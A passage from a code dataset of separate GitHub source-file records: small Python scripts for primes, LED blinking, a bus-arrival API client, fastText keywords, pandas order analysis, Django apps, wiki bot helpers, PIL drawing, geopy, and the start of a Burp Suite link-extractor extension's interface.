ch == 2:\r\n lbound = int(input('Enter Lower Bound of Range: '))\r\n ubound = int(input('Enter Upper Bound of Range: '))\r\n print(f'Primes in the Range: {primes(lbound, ubound)}')\r\n elif ch == 3:\r\n lbound = int(input('Enter Lower Bound of Range: '))\r\n ubound = int(input('Enter Upper Bound of Range: '))\r\n print(f'Palprimes in the Range: {palprimes(lbound, ubound)}')\r\n elif ch == 0:\r\n break\r\n input('\\nPress Enter to Continue ...')\r\n","repo_name":"sudiptog81/ducscode","sub_path":"YearII/SemesterIII/ProgrammingInPython/Others/q2b.py","file_name":"q2b.py","file_ext":"py","file_size_in_byte":1848,"program_lang":"python","lang":"en","doc_type":"code","stars":20,"dataset":"github-code","pt":"47"} +{"seq_id":"74197956622","text":"\"\"\"\nCreated by: Youngwook Go\nCreated on: Sep 2023\nBlinks Arduino Pico Built-In LED\n\"\"\"\n\nimport time\nimport board\nimport digitalio\n\nled = digitalio.DigitalInOut(board.LED)\nled.direction = digitalio.Direction.OUTPUT\n\nwhile True:\n\tled.value = True\n\ttime.sleep(1)\n\tled.value = False\n\ttime.sleep (1)\n","repo_name":"Youngwook-Go/TEJ3M-Unit2-01-PY","sub_path":"blink.py","file_name":"blink.py","file_ext":"py","file_size_in_byte":295,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"8151747567","text":"\nimport datetime\nimport requests\nimport json\n\n\nauth_url = \"https://tdx.transportdata.tw/auth/realms/TDXConnect/protocol/openid-connect/token\"\nbasic_url = \"https://tdx.transportdata.tw/api/basic\"\n\n\nclass TDX(object):\n def __init__(self, app_id, app_key) -> None:\n self.app_id = app_id\n self.app_key = app_key\n self.auth_response = None\n\n def get_bus_route(self, city, route_no):\n url = f\"{basic_url}/v2/Bus/Route/City/{city}\" + \\\n f\"?$filter=RouteName/En eq '{route_no}'&$top=1&$format=JSON\"\n\n resp = requests.get(url, headers=self.__data_header())\n if resp.status_code == requests.codes.unauthorized:\n self.auth_response = None\n\n resp = requests.get(url, headers=self.__data_header())\n\n return resp.json() or []\n\n def get_bus_estimate_time(self, city, route, stop_id):\n url = f\"{basic_url}/v2/Bus/EstimatedTimeOfArrival/City/{city}\" + \\\n f\"/{route}?$filter=StopID eq '{stop_id}'&$top=1&$format=JSON\"\n\n resp = requests.get(url, headers=self.__data_header())\n\n if resp.status_code == requests.codes.unauthorized:\n self.auth_response = None\n\n resp = requests.get(url, headers=self.__data_header())\n\n estimate = resp.json()[0]\n\n stop_name = estimate[\"StopName\"][\"Zh_tw\"]\n\n # seconds\n estimate_time = estimate[\"EstimateTime\"]\n\n last_update_time = datetime.datetime.strptime(\n estimate[\"SrcUpdateTime\"], \"%Y-%m-%dT%H:%M:%S%z\")\n\n diff = datetime.datetime.now().astimezone() - last_update_time\n seconds = estimate_time - diff.total_seconds()\n\n return {\n \"stop_name\": stop_name,\n \"estimate_seconds\": seconds,\n \"estimate_time\": self.__time_format(seconds)\n }\n\n def __auth_header(self):\n content_type = 'application/x-www-form-urlencoded'\n grant_type = 'client_credentials'\n\n return{\n 'content-type': content_type,\n 'grant_type': grant_type,\n 'client_id': self.app_id,\n 'client_secret': self.app_key\n }\n\n def __data_header(self):\n access_token = self.__auth_token()\n\n return{'authorization': f'Bearer {access_token}'}\n\n def __auth_token(self):\n if not self.auth_response:\n self.auth_response = requests.post(auth_url, self.__auth_header())\n\n return json.loads(self.auth_response.text).get('access_token')\n\n def __time_format(self, total_seconds):\n minute = total_seconds // 60\n\n seconds = total_seconds - minute * 60\n\n result = \"\"\n\n if minute > 0:\n result += f\"{minute:0.0f}分\"\n\n return f\"{result}{seconds:0.0f}秒\"\n","repo_name":"steny138/Parenting","sub_path":"parenting/services/tdx.py","file_name":"tdx.py","file_ext":"py","file_size_in_byte":2727,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"6391325567","text":"class Solution(object):\n def equalSubstring(self, s, t, maxCost):\n costs = []\n for i in range(len(s)):\n cost = abs(ord(s[i]) - ord(t[i]))\n costs.append(cost)\n i, j = 0, 0\n res, cur = 0, 0\n while j < len(costs):\n cur += costs[j]\n while cur > maxCost:\n cur -= costs[i]\n i += 1\n res = max(res, j - i + 1)\n j += 1\n\n return res\n\n\n","repo_name":"mengyx-work/CS_algorithm_scripts","sub_path":"leetcode/LC_1208. Get Equal Substrings Within Budget.py","file_name":"LC_1208. Get Equal Substrings Within Budget.py","file_ext":"py","file_size_in_byte":466,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"47"} +{"seq_id":"4794425894","text":"import fastText as ft\nimport numpy as np\nfrom sklearn.metrics.pairwise import cosine_similarity\nimport re\nimport smart_open\npunctuation = r\"\"\"!\"#$%&'()*+,-./:;<=>?@[\\]^_`{|}~。，\"\"\"\nFAST_TEXT_MODEL_PATH='/data/tanggp/fasttext_100.model.bin'\nmodel=ft.load_model(FAST_TEXT_MODEL_PATH)\n\n\n\n\ndef word_sentence(sentence):\n sentor_vetor=model.get_sentence_vector(sentence).reshape(1, -1)\n\n sentence = re.sub(r'[{}]+'.format(punctuation), ' ', sentence)\n sentence = ' '.join([t.strip() for t in sentence.split(' ') if t.strip() != ''])\n\n words=list(set([w for w in sentence.lower().split(' ') if len(w)>2]))\n np_shape=len(words)\n # word_vect[0,:]=sentor_vetor\n word_vect=np.zeros((np_shape,100))\n\n for i,word in enumerate(words):\n word_vect[i,:]= model.get_word_vector(word)\n\n cos=cosine_similarity(word_vect,sentor_vetor).reshape(1,-1)[0,:]\n cos=np.fabs(cos)\n\n idx=np.argsort(-cos)\n score=np.sort(-cos)\n score=-score\n score=[str(round(s, 2)) for s in score]\n word_result=[]\n for i in idx:\n word_result.append(words[i])\n return score,word_result\n\ndef get_items(items):\n valid_count = 0\n all_line = 0\n has_country = 0\n import json\n result = []\n for line in items:\n all_line += 1\n if isinstance(line,str):\n line_dict = json.loads(line)\n else:\n line_dict=line\n if 'countries' not in line_dict.keys():\n continue\n has_country += 1\n if 'india' in [c.lower() for c in line_dict['countries']] or 'in' in [c.lower() for c in\n line_dict['countries']]:\n line_dict['countries']='india'\n valid_count += 1\n result.append(line_dict)\n\n return result,has_country,all_line,valid_count\n\ndef get_data_txt(file_name):\n with smart_open.smart_open(file_name, encoding='utf8') as f:\n items = f.readlines()\n\n result, has_country, all_line, valid_count = get_items(items)\n\n print('file {} total count is {}, has_country is {}, valid line is {}'.format(file_name, all_line,has_country,valid_count))\n return result\n\ndef save_txt(result,out_path_4column):\n with smart_open.smart_open(out_path_4column, 'w', encoding='utf8') as f:\n for r in result:\n f.write(r+ '\\n')\n\ndef predict_label_txt(input_path,save_path):\n sql_dict = get_data_txt(input_path)\n result=[]\n count=0\n for sq in sql_dict:\n try:\n count+=1\n # if count>10:\n # continue\n\n sentence=sq.get('title')+' '+sq.get('source_user')+' '+' '.join(sq.get('tags',[]))+sq.get('description')\n score, word_result = word_sentence(sentence)\n # print(word_result)\n # print(score)\n print(word_result)\n\n sentence =sq.get('id') +'\\x01'+';'.join(word_result[:4])+ '\\x01' +sq.get('title') + '\\x01' + sq.get('source_user') + ' \\x01' +' '.join(sq.get('tags',[]))+ ' \\x01'+sq.get('source_url')+ ' \\x01' +';'.join(word_result)+' \\x01' +';'.join(score)\n result.append(sentence)\n except:\n count-=1\n\n save_txt(result,save_path)\n print(count)\n\ndef w_e(file_name):\n input_path='/data/tanggp/video_info/datepart=20180528/'+file_name\n save_path='/data/tanggp/key_words/'+file_name\n predict_label_txt(input_path, save_path)\nimport time\nt1=time.time()\nfile_name='002999_0'\nw_e(file_name)\nt2=time.time()\nprint('finish time {}'.format(t2-t1))\n","repo_name":"jinnacsdn/keywords","sub_path":"fasttext.py","file_name":"fasttext.py","file_ext":"py","file_size_in_byte":3514,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"75033437902","text":"# Leia a idade e sexo de várias pessoas.\n# A cada pessoa, pergunte se o usuário quer parar.\n# Ao final mostre\n# a) Quantos maiores de 18 anos há.\n# b) Quantos homens foram cadastrados.\n# c) Quantas mulheres tem menos de 20.\ndef wantsToLeave():\n\tresult = ''\n\twhile not result in ['S', 'N']:\n\t\tresult = input('Deseja sair? [S/N]\\n>>>\\t').strip().upper()\n\n\treturn result == 'S'\n\ndef lerSexo():\n\tresult = ''\n\twhile not result in ['H', 'M']:\n\t\tresult = input('Sexo [H/M]: ').strip().upper()\n\n\treturn result\n\n\nnMenores = 0\nnHomens = 0\nnJovensMulheres = 0\n\nnotExit = True\n\nprint('Digite nome e sexo de múltiplas pessoas: ')\n\nwhile notExit:\n\n\ttry:\n\t\tidade = int(input('Idade:\\t').strip())\n\t\tsexo = lerSexo()\n\n\t\tnMenores += 1 if (idade < 18) else 0\n\t\tnHomens += 1 if (sexo == 'H') else 0\n\t\tnJovensMulheres += 1 if (sexo == 'M' and idade < 20) else 0\n\n\texcept Exception as e:\n\t\tprint('Erro!')\n\n\tnotExit = not wantsToLeave()\n\nprint(f'O número de menores é {nMenores}')\nprint(f'O número de homens é {nHomens}')\nprint(f'O número de mulheres com menos de 20 é {nJovensMulheres}')\n","repo_name":"lhardt/PythonCourse","sub_path":"ex069.py","file_name":"ex069.py","file_ext":"py","file_size_in_byte":1076,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"31283183927","text":"from rest_framework import serializers\nfrom .models import (\n Product,\n ProductImage,\n ProductRateImage,\n RateProduct\n)\n\nfrom cities.serializers import CitySerializer\nfrom categories.serializers import CategorySerializer, SubCategorySerializer\nfrom users.serializers import UserDataSerializer\n\n######################################\n########## ProductSerializer #########\n######################################\n\nclass ProductImageSerializer(serializers.ModelSerializer): \n img = serializers.SerializerMethodField()\n class Meta:\n model = ProductImage\n exclude = ('product',)\n\n def get_img(self, obj):\n return obj.img.url\n# class CreateProductSerializer(serializers.ModelSerializer):\n# images = ProductImageSerializer()\n\nclass ProductSerializer(serializers.ModelSerializer):\n images = serializers.SerializerMethodField()\n city = CitySerializer()\n category = CategorySerializer()\n sub_category = SubCategorySerializer()\n last_user_bid = serializers.SerializerMethodField()\n owner = UserDataSerializer()\n sold_to = serializers.SerializerMethodField()\n class Meta:\n model = Product\n fields = '__all__'\n \n def get_images(self, obj):\n serializer = ProductImageSerializer(obj.images.all(), many=True)\n return serializer.data\n\n def get_last_user_bid(self, obj):\n if obj.last_user_bid:\n return obj.last_user_bid.first_name + ' ' + obj.last_user_bid.last_name\n else:\n None\n def get_sold_to(self,obj):\n if obj.sold_to:\n return obj.sold_to.get_full_name()\n else:\n None\n\nclass ProductDetailSerializer(serializers.ModelSerializer):\n images = serializers.SerializerMethodField()\n\n class Meta:\n model = Product\n exclude = ('created_at', 'updated_at', 'sold_to', 'owner')\n\n def get_images(self, obj):\n serializer = ProductImageSerializer(obj.images.all(), many=True)\n return serializer.data\n\n######################################\n########## RateProductSerializer #####\n######################################\n\nclass RateProductImageSerializer(serializers.ModelSerializer):\n img = serializers.SerializerMethodField()\n\n class Meta:\n model = ProductRateImage\n exclude = ('rate_product',)\n\n def get_img(self, obj):\n return obj.img.url\n\nclass CreateRateProductSerializer(serializers.ModelSerializer):\n images = serializers.SerializerMethodField()\n class Meta:\n model = RateProduct\n exclude = ('price', 'is_rated', 'owner')\n \n def get_images(self, obj):\n serializer = RateProductImageSerializer(obj.images.all(), many=True)\n return serializer.data\n\nclass ListRateProductSerializer(serializers.ModelSerializer):\n images = serializers.SerializerMethodField()\n category = CategorySerializer()\n owner = UserDataSerializer()\n\n class Meta:\n model = RateProduct\n exclude = ('is_rated', )\n\n def get_images(self, obj):\n serializer = RateProductImageSerializer(obj.images.all(), many=True)\n return serializer.data","repo_name":"a-samir97/E-commerce-django-API","sub_path":"products/serializers.py","file_name":"serializers.py","file_ext":"py","file_size_in_byte":3114,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"47"} +{"seq_id":"71660580944","text":"import numpy as np\nimport pandas as pd\nimport datetime\n\nclass Analysis:\n def __init__(self, filename):\n self.readCSVFile(filename)\n\n def __logFactorial__(self, x):\n # Efficiently compute log factorial\n s = 0\n for i in range(1,x+1):\n s += np.log(i)\n return s\n\n def __poissonProbDenFunc__(self, x):\n # Poisson probability density function, x[2] = mean number of orders, x[6] = total orders received this week\n poisson_pdf = np.sum([np.exp(y * np.log(x[2]) - x[2] - self.__logFactorial__(y)) for y in range(x[6].astype(int)+1)])\n return poisson_pdf\n\n def readCSVFile(self, filename):\n # read the csv file into a dataframe\n self.df = pd.read_csv(filename)\n # modify the datetime format. Make sure that this is reflected in the elastic index definition\n self.df[\"delivered\"] = pd.to_datetime(self.df[\"delivered\"], errors=\"coerce\", format='%Y-%m-%d')\n\n def compareWeekOrders(self, n=7, siglevel=.05, target_week=None, target_year=None):\n # Add week and value columns to dataframe\n self.df['year'] = self.df['delivered'].dt.year\n self.df['week'] = self.df['delivered'].dt.week\n self.df['value'] = self.df['price'] * self.df['quantity']\n\n # Define week to compare and separate order data\n if target_week is None: target_week = datetime.date.today().isocalendar()[1] \n if target_year is None: target_year = datetime.datetime.now().year\n target_week_orders = self.df.loc[(self.df.week == target_week) & (self.df.year == target_year)]\n self.df = self.df.loc[(self.df.week < target_week) & (self.df.year == target_year)]\n\n # Calculate value per customer per product for target week\n target_week_orders = target_week_orders.pivot_table(\n index=['customer_id', 'product_id'],\n values=['value'],\n aggfunc={\n 'value':[np.sum, len]\n },\n fill_value=0\n )\n\n # Rename columns and reset the index for later merge with order history\n target_week_orders.columns.set_levels(['target_week'], level=0, inplace=True)\n target_week_orders.rename_axis({'sum':'value','len':'orders'}, axis='columns', inplace=True)\n target_week_orders.reset_index(inplace=True)\n\n # Calculate value per customer per product for order history\n customer_products = self.df.pivot_table(\n index=['customer_id', 'product_id', 'year', 'week'],\n values=['value'],\n aggfunc={\n 'value':[np.sum, len]\n },\n fill_value=0\n )\n\n # Rename columns and reset the index to allow second pivot for mean and standard deviation\n customer_products.columns = customer_products.columns.droplevel(0)\n customer_products.rename(columns={'sum':'value','len':'orders'}, inplace=True)\n customer_products.reset_index(inplace=True)\n\n # Calculate mean and standard deviation of past orders based on number and value\n customer_products = customer_products.pivot_table(\n index=['customer_id', 'product_id'],\n values=['value','orders'],\n aggfunc={\n 'value':[np.mean, np.std],\n 'orders':[len, np.mean, np.std]\n },\n fill_value=0\n )\n\n # Remove products ordered by customer less than 10 times\n customer_products = customer_products.loc[customer_products[(u'orders',u'len')] > 10]\n customer_products.drop((u'orders',u'len'), axis=1, inplace=True)\n\n # Reset index for merge with target week data\n customer_products.reset_index(inplace=True)\n\n # Merge customer_products table with target_week_orders table\n # Inner join means data for customer_products with short history and customer_products not ordered this week are ommited\n customer_products = pd.merge(customer_products, target_week_orders, how='inner', on=[(u'customer_id',u''),(u'product_id',u'')])\n\n # Apply probabilty density function and created pVal column\n customer_products['pVal'] = customer_products.apply(self.__poissonProbDenFunc__, axis=1)\n print(customer_products.loc[customer_products.pVal int:\n return 0\n\n def _do_parse_df(self, df_dict: Dict[str, DataFrame], attribute_manager: AttributeManager) -> List[DataFrame]:\n supplier_column = attribute_manager.value(pc.supplier_column)\n pur_group_column = attribute_manager.value(pc.pur_group)\n type_column = attribute_manager.value(pc.type_column)\n _other_column = self._other_column(attribute_manager=attribute_manager)\n df_list = []\n for key in df_dict.keys():\n df = df_dict[key]\n df.sort_values(attribute_manager.value(pc.sort_column), ascending=False, inplace=True)\n df_list.append(df)\n df_detail = pd.concat(df_list)\n # 其他列 供应商列 组织列\n df_little_total = df_detail.drop([supplier_column, pur_group_column, *_other_column],\n axis=1,\n errors=\"ignore\").groupby([type_column],\n as_index=False).sum()\n df_little_total.sort_values(attribute_manager.value(pc.sort_column), ascending=False, inplace=True)\n for gc in _other_column:\n df_little_total[str(gc)] = \"\"\n df_little_total.insert(column=supplier_column, value=\"小计\", loc=1)\n df_little_total.insert(column=pur_group_column, value=\"\", loc=1)\n\n df_total = df_detail.sum(numeric_only=True).to_frame().T\n for gc in _other_column:\n df_total[str(gc)] = \"\"\n df_total.insert(column=supplier_column, value=\"合计\", loc=0)\n df_total.insert(column=pur_group_column, value=\"\", loc=0)\n df_total.insert(column=type_column, value=\"\", loc=0)\n return [pd.concat([df_total, df_little_total, df_detail])]\n\n def _insert_name(self) -> bool:\n return False\n\n def __init__(self):\n super().__init__()\n self._insert_name = False\n\n @abstractmethod\n def _other_column(self, attribute_manager):\n pass\n\n\n","repo_name":"fangyunqing/pay","sub_path":"pay/file_parser/payable/dept/abstract_other_column_file_parser.py","file_name":"abstract_other_column_file_parser.py","file_ext":"py","file_size_in_byte":2519,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"40997963057","text":"from django.shortcuts import render\nfrom django.http import HttpResponseRedirect, HttpResponse, QueryDict\nfrom django.template import RequestContext, loader\nfrom django.core.urlresolvers import reverse\nfrom testproject2.models import Questions, Answers\nimport urlparse\nimport random\n# Create your views here.\n\ndef splash_page(request):\n number_questions = Questions.objects.count()\n question_ids = Questions.objects.values_list('id', flat=True)\n question_count = len(question_ids)\n question_id = question_ids[random.randint(1, number_questions) - 1]\n random_question = Questions.objects.get(pk = question_id)\n context = {'random_question' : random_question}\n\n return render(request, 'testproject2/index.html', context)\n\ndef submit_results(request):\n try:\n user_ip = request.META['REMOTE_ADDR']\n except KeyError:\n user_ip = 'unknown'\n a = Answers(answer_text=request.POST['question_response'], answer_ip=user_ip)\n a.save()\n\n return HttpResponseRedirect(reverse('results_page',))\n\ndef results_page(request):\n \n try:\n urlparse.parse_qs(request.META['QUERY_STRING'])['new_question']\n context = {'header' : 'Thanks for helping!'}\n except KeyError:\n context = {'header' : 'Thanks for answering!'}\n\n return render(request, 'testproject2/results.html', context)\n\ndef post_new_question(request):\n q = Questions(question_text=request.POST['new_question'])\n q.save()\n \n qDict = QueryDict('', mutable=True)\n qDict.update({'new_question' : True})\n query_string = qDict.urlencode()\n reverse_url = reverse('results_page',)\n redirect_url = \"%s%s%s\" % (reverse_url,'?', query_string)\n return HttpResponseRedirect(redirect_url)\n","repo_name":"lukegil/django-test-app","sub_path":"testproject2/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":1720,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"34860391654","text":"import sys\nimport json\nsys.path.append('../core')\nimport pywikibot as pwb\nimport re\n\n\ndef clear_page(page): #essa funcao limpa o texto da pagina e salva ela e salva com a flag de bot ativada, ela recebe apenas a pagina recuperada pelo bot\n page.text = \"\"\n save_page(page)\n\ndef save_page(page): # essa funcao salva a pagin com a flag de bot ativada, ela recebe a pagina recuperada pelo bot\n page.save(botflag=True)\n#essa funcao adiciona uma nova secao com um texto abaixo\n#os parametros sao\n#section = nome da secao a ser adicionada\n#text = o texto da pagina a ser alterada\n#add = o texto a ser adicionado, nulo por padrao\n#o retorno dela e o texto alterado\ndef add_section(section,text,add=''): \n text += '\\n=='+section+'==\\n'\n text += add\n return text\n\n#essa funcao recebe uma lista de items, qual sera o sufixo e prefixo de cada item junto a uma flag dizendo se isso se encontra na ultima coluna da tabela\n#o retorno dela e essa lista no formato de uma coluna da tabela\ndef list_items(items, prefix='', sufix='',last=False):\n aux = \"\"\n if len(items) == 0:\n if not last:\n aux = '||'\n elif len(items) == 1:\n if last:\n for i in items:\n aux += prefix+i+sufix\n else:\n for i in items:\n aux += prefix+i+sufix+'||'\n else:\n if(type(items) != str):\n for i in items:\n aux += prefix+i+sufix+'
'\n if not last:\n aux+= '||'\n else:\n if last:\n for i in items:\n aux += prefix+i+sufix\n else:\n for i in items:\n aux += prefix+i+sufix\n aux+='||'\n return aux\n#essa funcao recebe uma tabela e um json de uma secao a ser convertida para tabela e retorna a tabela dessa secao\n#exemplo json['groups'][x]['assets'] retornaria a tabela dos acervos\ndef gen_table(text,json,caption):\n text += '\\n{|class =\"wikitable\"\\n'\n if caption == 'assets':\n text += '|+ Acervo\\n'\n text+= '!Nome!!Descrição!!Categorias!!Condições de Uso!!OSM!!Wikidata!!Wikipedia!!Facebook!!Instagram!!Twitter!!Youtube!!Teams!!Stream\\n'\n elif caption == 'events':\n text += '|+ Eventos\\n'\n text+= '! Nome!!Descrição!!Categorias!!Condições de Uso!!Horários!!OSM!!Wikidata!!Wikipedia!!Facebook!!Instagram!!Twitter!!Youtube!!Teams!!Stream\\n'\n\n text+= '|-\\n'\n for i in json:\n if caption == 'assets':\n text+= '!'+i['name']+'\\n'\n text+='|'+i['description']+'||'\n text+= list_items(i['category'])\n text+= list_items(i['usage'])\n text+= list_items(i['osm'],'[',']')\n text+= list_items(i['wikidata'],'[',']')\n text+= list_items(i['wikipedia'],'[',']')\n text+= list_items(i['facebook'],'[',']')\n text+= list_items(i['instagram'],'[',']')\n text+= list_items(i['twitter'],'[',']')\n text+= list_items(i['youtube'],'[',']')\n text+= list_items(i['teams'],'[',']')\n text+= list_items(i['stream'],'[',']',True)\n text+='\\n'\n elif caption == 'events':\n text+= '!'+i['name']+'\\n'\n text+='|'+i['description']+'||'\n text+= list_items(i['category'])\n text+= list_items(i['usage'])\n text+= list_items(i['timeInterval'])\n text+= list_items(i['osm'],'[',']')\n text+= list_items(i['wikidata'],'[',']')\n text+= list_items(i['wikipedia'],'[',']')\n text+= list_items(i['facebook'],'[',']')\n text+= list_items(i['instagram'],'[',']')\n text+= list_items(i['twitter'],'[',']')\n text+= list_items(i['youtube'],'[',']')\n text+= list_items(i['teams'],'[',']')\n text+= list_items(i['stream'],'[',']',True)\n text+='\\n'\n text+='|}'\n return text\n\n","repo_name":"jhcf/SIUnB","sub_path":"jhcf/alunos/Yuri_Crystian_Ribeiro_e_Silva/SI/function.py","file_name":"function.py","file_ext":"py","file_size_in_byte":3930,"program_lang":"python","lang":"pt","doc_type":"code","stars":1,"dataset":"github-code","pt":"47"} +{"seq_id":"7433192076","text":"import sys\r\nsys.path.append('../dims')\r\n\r\nfrom PIL import Image, ImageDraw, ImageFont\r\nfrom math import dist\r\nfrom numpy import linspace, concatenate, argsort, int_\r\nfrom DimLinesPIL import angled_text, dims, int_up\r\n\r\ndef line_dashed(dr, start_pos, end_pos, dash=(5,5), width = 1, fill='black'):\r\n # create dashed lines in PIL\r\n\r\n # unpack tuples\r\n x0, y0 = start_pos\r\n x1, y1 = end_pos\r\n dash0, dash1 = dash\r\n dash2 = dash0 - 1\r\n\r\n # sort out lengths\r\n dash_gap_length = sum(dash)\r\n line_length = dist(start_pos, end_pos)\r\n\r\n # inclusive number of dashes and gaps\r\n dash_amount = int_up(line_length / dash_gap_length) + 1\r\n\r\n\r\n start_arr = linspace((x0, y0), (x1, y1), dash_amount)\r\n end_arr = linspace((x0, y0 + dash2), (x1, y1 + dash2), dash_amount)\r\n\r\n both_arr = concatenate([start_arr, end_arr], axis=0)\r\n\r\n fin_arr = int_(both_arr[both_arr[:, 1].argsort()])\r\n\r\n nr_lines = len(fin_arr)\r\n\r\n [dr.line([tuple(fin_arr[n]), tuple(fin_arr[n+1])], width=width, fill=fill)\r\n for n in range(0, nr_lines, 2)]\r\n\r\nif __name__ == \"__main__\":\r\n Font = ImageFont.truetype('consola.ttf', 12)\r\n\r\n arr =[(30, 10),\r\n (30, 24),\r\n (30, 40),\r\n (30, 54),\r\n (30, 70),\r\n (30, 84)]\r\n\r\n nr_lines = len(arr)\r\n\r\n Dash =(15, 15)\r\n\r\n Start_pos = (30, 10)\r\n End_pos = (30, 70)\r\n\r\n w, h = 100, 100\r\n image = Image.new('RGB', (w,h), '#FFFFDD')\r\n draw = ImageDraw.Draw(image)\r\n\r\n wide, height = Font.getsize('(30, 84)')\r\n\r\n for i in range(nr_lines):\r\n angled_text(image, (arr[i][0] + 10 + wide//2, arr[i][1]),text=str(arr[i]),\r\n angle=0, fill='black', font=Font)\r\n\r\n for j in range(nr_lines - 1):\r\n dims(image, draw, arr[j], arr[j+1], (8, 2), text='15', font=Font, fill='lightgreen',\r\n textorient='horizontal')\r\n\r\n\r\n line_dashed(draw, Start_pos, End_pos, dash=Dash, width = 1, fill='black')\r\n\r\n image.show()\r\n","repo_name":"Edgar-Donk/PIL-dimensions","sub_path":"docs/examples/dashes/05dash_gap_function.py","file_name":"05dash_gap_function.py","file_ext":"py","file_size_in_byte":1945,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"14891884275","text":"\nimport idealista_costants as c\nimport geopy\nimport geopy.distance\nfrom fun import *\n\n# print(c.HEADERS)\n\nnelat = 45.445\nnelong = 9.18\nswlat = 45.44486\nswlong = 9.17291\n\nne = geopy.Point(nelat, nelong)\nsw = geopy.Point(swlat, swlong)\n\ndistance = geopy.distance.distance(ne, sw).km\nprint(distance)\n\nnew_cord = get_coord(nelat, nelong, 50, 50)\n\nnew_p = geopy.Point(new_cord)\n\nprint(geopy.distance.distance(ne, new_p))\nprint(sqrt(50**2 + 50**2))","repo_name":"paolobighignoli/WebScraping","sub_path":"ScrapingIdealista/roba_inutile.py","file_name":"roba_inutile.py","file_ext":"py","file_size_in_byte":442,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"29015723816","text":"import re, json\nfrom urlparse import urlparse, urljoin\nfrom datetime import datetime\nfrom burp import IBurpExtender, ITab, IHttpListener\nfrom java.lang import Boolean, String\nfrom java.io import PrintWriter\nfrom java.util import ArrayList\nfrom java.awt import Font, Dimension\nfrom java.awt.event import KeyEvent\nfrom javax import swing\nfrom javax.swing.table import AbstractTableModel, DefaultTableCellRenderer\n\n\ndef getExtension(path):\n twig = path.split(\"/\")[-1]\n if \".\" in twig: return twig.split(\".\")[-1]\n else: return \"\"\n\ndef setFixedSize(component, width, height):\n component.setMinimumSize(Dimension(width, height))\n component.setMaximumSize(Dimension(width, height))\n component.setPreferredSize(Dimension(width, height))\n\n\nclass BurpExtender(IBurpExtender, IHttpListener, ITab):\n \n def registerExtenderCallbacks(self, callbacks):\n \n self.callbacks = callbacks\n self.helpers = callbacks.getHelpers()\n #self.stdout = PrintWriter(callbacks.getStdout(), True) # for debugging\n self.stderr = PrintWriter(callbacks.getStderr(), True)\n callbacks.setExtensionName(\"LinkExtractor\")\n\n self.linkExtractor = LinkExtractor()\n self.actionHandler = ActionHandler(self)\n self.eventHandler = EventHandler(self.actionHandler)\n self.settings = Settings(self)\n self.initUi()\n self.settings.loadSettings()\n\n callbacks.registerHttpListener(self)\n\n\n def initUi(self):\n \n self.tabbedPane = swing.JTabbedPane()\n self.fileChooser = swing.JFileChooser()\n\n ### Findings Tab ###\n\n self.sourcesModel = SourcesModel()\n self.sourcesTable = SourcesTable(self.sourcesModel, self) \n self.sourcesTable.setAutoCreateRowSorter(True)\n self.sourcesTable.setAutoResizeMode(swing.JTable.AUTO_RESIZE_OFF)\n sourcesColumnWidthPercentages = (0.05, 0.2, 0.4, 0.05, 0.05, 0.05, 0.05, 0.05, 0.1)\n sourcesColumnModel = self.sourcesTable.getColumnModel()\n #sourcesTotalWidth = sourcesColumnModel.getTotalColumnWidth()\n sourcesTotalWidth = 1920\n for i in range(self.sourcesTable.getColumnCount()):\n width = int(round(sourcesTotalWidth * sourcesColumnWidthPercentages[i]))\n sourcesColumnModel.getColumn(i).setPreferredWidth(width)\n\n self.linksModel = LinksModel()\n self.linksTable = LinksTable(self.linksModel) \n self.linksTable.setAutoCreateRowSorter(True)\n self.linksTable.setAutoResizeMode(swing.JTable.AUTO_RESIZE_OFF)\n linksColumnWidthPercentages = (0.05, 0.9, 0.05)\n linksColumnModel = self.linksTable.getColumnModel()\n #linksTotalWidth = linksColumnModel.getTotalColumnWidth()\n linksTotalWidth = 1920\n for i in range(self.linksTable.getColumnCount()):\n width = int(round(linksTotalWidth * linksColumnWidthPercentages[i]))\n linksColumnModel.getColumn(i).setPreferredWidth(width)\n\n ftSourcesScrollPane = swing.JScrollPane(self.sourcesTable)\n ftLinksScrollPane = swing.JScrollPane(self.linksTable)\n ftSplitPane = swing.JSplitPane(swing.JSplitPane.VERTICAL_SPLIT)\n ftSplitPane.setTopComponent(ftSourcesScrollPane)\n ftSplitPane.setBottomComponent(ftLinksScrollPane)\n\n ### Settings Tab ###\n\n self.stStrings = {\n \"section1HeaderLabel\": \"Processing\",\n \"section2HeaderLabel\": \"Source Exclusions\",\n \"section3HeaderLabel\": \"Link Exclusions\",\n \"section4HeaderLabel\": \"Misc\",\n \"inScopeOnlyCheckBox\": \"Only process in-scope URLs\",\n \"ignoreDupsCheckBox\": \"Ignore duplicate items based on URL, query parameters, request method and response status code\",\n \"ignoreDupsLabel\": \"*may impact performance if not set\",\n \"processLabel\": \"Select what you want LinkExtractor to do:\",\n \"group1RadioButton1\": \"Only process JavaScript files\",\n \"group1RadioButton2\": \"Process all responses\",\n \"group1RadioButton3\": \"Pause LinkExtractor\",\n \"toolSelectionLabel\": \"Select which tools you want LinkExtractor to process responses from:\",\n \"sourceExclusionsLabel\": \"Any responses from requests to URLs that match any of the Regular Expression patterns below will not be processed.\",\n \"linkExclusionsLabel\": \"Any links found in processed responses that match any of the Regular Expression patterns below will not be saved nor displayed.\",\n \"exportLabel\": \"Export findings as:\",\n \"clearFindingsDialog\": \"Are you sure you want to clear all findings by LinkExtractor? This cannot be undone.\",\n \"editExclusionDialog\": \"\"\n }\n\n stHeaderFont = swing.JLabel().getFont().deriveFont(Font.BOLD, 15)\n\n # Section 1 #\n\n stSection1HeaderLabel = swing.JLabel(self.stStrings[\"section1HeaderLabel\"])\n 